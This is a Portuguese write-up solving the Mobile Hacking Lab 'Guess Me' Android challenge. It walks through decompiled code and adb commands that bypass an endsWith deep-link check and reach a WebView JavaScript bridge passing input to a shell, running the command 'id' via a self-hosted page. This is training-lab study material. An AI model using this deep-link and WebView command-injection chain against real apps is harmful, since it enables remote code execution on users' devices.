GuessMe Parte 1
“WebView & RCE…”
Introdução
Esta é uma resolução do desafio do Mobile Hacking Lab
onde descobri recentemente que eles estão oferecendo treinamento e laboratórios gratuitos para explorar e praticar suas habilidades de hacking mobile. Então, decidi fazer o curso e praticar os laboratórios.
Objetivo
Sua missão é manipular a funcionalidade de deep link no aplicativo Android “Guess Me”, permitindo que você execute código remoto e obtenha acesso não autorizado.
Writeup
Quando iniciei o aplicativo, existe uma tela para tentar adivinhar o número “secreto” e uma página de informação que nos leva para o website da mobilehackinglab.
Comecei então a fazer engenharia reversa e abri o aplicativo usando o jadx-gui
.
Analisando o arquivo, foram identificados logo de cara algumas informações importantes.
- A WebviewActivity está com a flag de exported=”true”
- Existe um scheme e um host definidos que nos levam a URI:
mhl://mobilehackinglagb
Uma vez que sabemos que essa activity está exportada e podemos interagir com ela, podemos analisar o código dessa parte da aplicação.
Como podemos visualizar na imagem acima, essa parte da aplicação é muito rica de informações. Podemos concluir os seguintes pontos:
- A webview definida aceita a execução de
javascript
. - Existe uma JavascriptInterface e está declarada como: “AndroidBridge”
Essas informações vão ser úteis para conseguir explorar essa aplicação!
private final boolean isValidDeepLink(Uri uri) {
if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
return false;
}
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
O trecho de código acima mostra que existe uma função que valida o deep link antes de ser excutado.
Para conseguir passar nessa validação é necessário que a URI seja mhl://mobilehackinglab/?url=https://www.mobilehackinglab.com
O ponto de atenção nesse trecho de código é que o parâmetro “url” tem um endsWith que significa que a URL precisa somente terminar com essa string. O que nos leva a acreditar que se qualquer URL que termina com essa string será carregada.
Para provar minha teoria eu realizei o seguinte comando:
adb shell am start -n com.mobilehackinglab.guessme/.WebviewActivity -d "mhl://mobilehackinglab/?url=https://www.google.com/search?q=mobilehackinglab.com"
Agora que tenho uma prova de conceito que consigo fazer a aplicação carregar qualquer website que eu queira, irei continuar analisando a aplicação para ver o que é possível fazer com essa vulnerabilidade.
@JavascriptInterface
public final String getTime(String Time) {
Intrinsics.checkNotNullParameter(Time, "Time");
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
String readText = TextStreamsKt.readText(reader);
reader.close();
return readText;
} catch (Exception e) {
return "Error getting time";
}
No trecho acima é possível identificar uma definição da JavascriptInterface
que recebe um parâmetro Time
que é passado na função “getRuntime().exec()
”
isso significa que está sendo executado algum comando direto na shell da aplicação.
public final String getTime(String time) {
Intrinsics.checkNotNullParameter(time, "time");
try {
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
while (true) {
String it = reader.readLine();
if (it != null) {
output.append(it).append("\n");
} else {
reader.close();
String sb = output.toString();
Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
return StringsKt.trim((CharSequence) sb).toString();
}
No trecho de código acima podemos ver a definição da função getTime
e aqui conseguimos ver como
acontece essa execução de comando direto na shell do aplicativo. Sabendo que a variável time
é executada diretamente na shell e que ela vem de um parâmetro da URL, o próximo passo é tentar injetar algum
comando e ver se meu payload é executado.
Utilizando o arquivo server.py subi um servidor local que executa um alert com o resultado do parâmentro Time.
O payload utilizado:
adb shell am start -a android.intent.category.BROWSABLE \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-d "mhl://mobilehackinglab/?url=http://192.168.0.9/search?Time=\'id\'%26q=mobilehackinglab.com"
Uma vez que o aplicativo carregou minha página que executa javascript e passa o parâmetro Time dentro da função getTime que faz parte da AndroidBridge que é nossa interface com o Javascript. O RCE acontece!! No final bastando apenas adicionar o host “mobilehackinglab.com” para ter o deep link válido.
Bônus
Posts:
- Post Board parte 2
- Post Board parte 1
- Guess Me Parte 2
- Guess Me Parte 1
- Food Store
- IOT Connect
- UnCrackable L1 Parte 2
- UnCrackable L1 Parte 1
- CVE-2022-26352
- DCA php
- Docker Code Analyzer
- Vulnado Parte 3
- Vulnado Parte 2
- Vulnado Parte 1
- Damm Vulnerable WebSocket
- OWASP ZAP Zed Attack Proxy
- Estratégias de um code review
- O que é code review?